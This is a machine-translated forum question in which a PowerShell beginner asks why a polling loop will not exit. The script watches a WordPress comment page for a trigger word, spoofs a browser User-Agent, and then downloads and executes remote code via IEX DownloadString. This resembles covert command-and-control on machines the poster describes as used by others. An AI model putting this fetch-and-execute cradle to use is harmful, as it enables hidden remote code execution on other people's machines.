Powershell | DownloadString |外部网站|返回

时间:2014-11-14 13:02:39

标签: powershell

我是一个非常强大的新手,所以请放纵;)

我正在尝试编写一个脚本,其中机器检查外部网站等待单词:“test”执行下载。事情是这样的:

$Word = 'test'
$WebClientObject = New-Object Net.WebClient
$comment = "http://MySite.wordpress.com/comment_section/"
$WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)")

While($True) {
  $CommentResult = $WebClientObject.DownloadString($comment)
  $Found = $CommentResult.contains($Word)

  If ($Found) {
    IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do')
    #Task_to_do and some blabla commands
    Return
  }
  Start-Sleep -Seconds 60
}

我正在运行powershell 2.0。 Windows7的

发生了什么:

  • 下载不是通过互联网执行
  • 这不是来自IP或路径的问题

接下来我做了什么:

  • 我直接在powershell提示符下写了不同的命令:

- > While($ True)启动无限循环而不退出它。

为了制作我需要“双击键盘上的返回”的技巧,循环的结束和“downloadstring”命令最终被执行。

还记得我不仅仅是一个新手,对吧? :(

  • 我试过“break” “return”“退出”不可能退出 循环。
  • 我试图在我的剧本中放入许多双回车也没有 任何成功。

有人请指出我做这件事的方法......? :)

非常感谢。

更新 这些小行应该由不同地方的不同人使用(这是被驱逐的网站的原因之一),我只是没有可能将远程机器更新为更新版本的powershell。 如果有人在他的联系中有任何Microsoft powershell大师,那将只是一个巨大的帮助。谢谢大家。

更新#2 通过为<(;)更改 并通过 Break 更改返回并不能解决问题。

0 个答案:

没有答案